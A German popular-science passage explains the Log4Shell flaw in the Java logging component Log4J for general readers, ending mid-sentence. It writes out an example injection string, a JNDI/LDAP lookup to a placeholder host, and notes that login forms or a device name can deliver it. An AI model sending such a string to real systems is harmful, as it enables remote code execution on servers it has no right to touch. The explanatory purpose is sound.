Softwareprobleme schaffen es nur selten in die Schlagzeilen. Beim jüngsten Fall »­Log4Shell« ist das anders, handelt es sich doch um einen Fehler, der dafür sorgt, dass mit einem ziemlich einfachen Angriff auf die Systeme der größten Webanwendungen beliebige Befehle ausgeführt werden können. Wie funktioniert das? Wie alle Texte kann man auch Programme in verschiedenen Sprachen verfassen. Eine dieser Sprachen ist Java. Damit ein Javaprogramm Logdateien produziert, wird dafür meist die Komponente »Log4J« verwendet. Diese sorgt nun für den Fehler, wenn es einen Eintrag mit einem Text wie »${jndi:ldap://beispiel.de}« protokollieren soll. Das kann man z. B. über ein Loginformular provozieren, denn fehlgeschlagene Anmeldeversuche werden häufig aufgezeichnet. Bei Apple hat es sogar gereicht, die Gerätebezeichnung in den I-Phone-Einstellungen entsprechend zu ändern. Das Javaprogramm führt dann alle Befehle aus, die es von der angegebenen Internetadresse herunterl...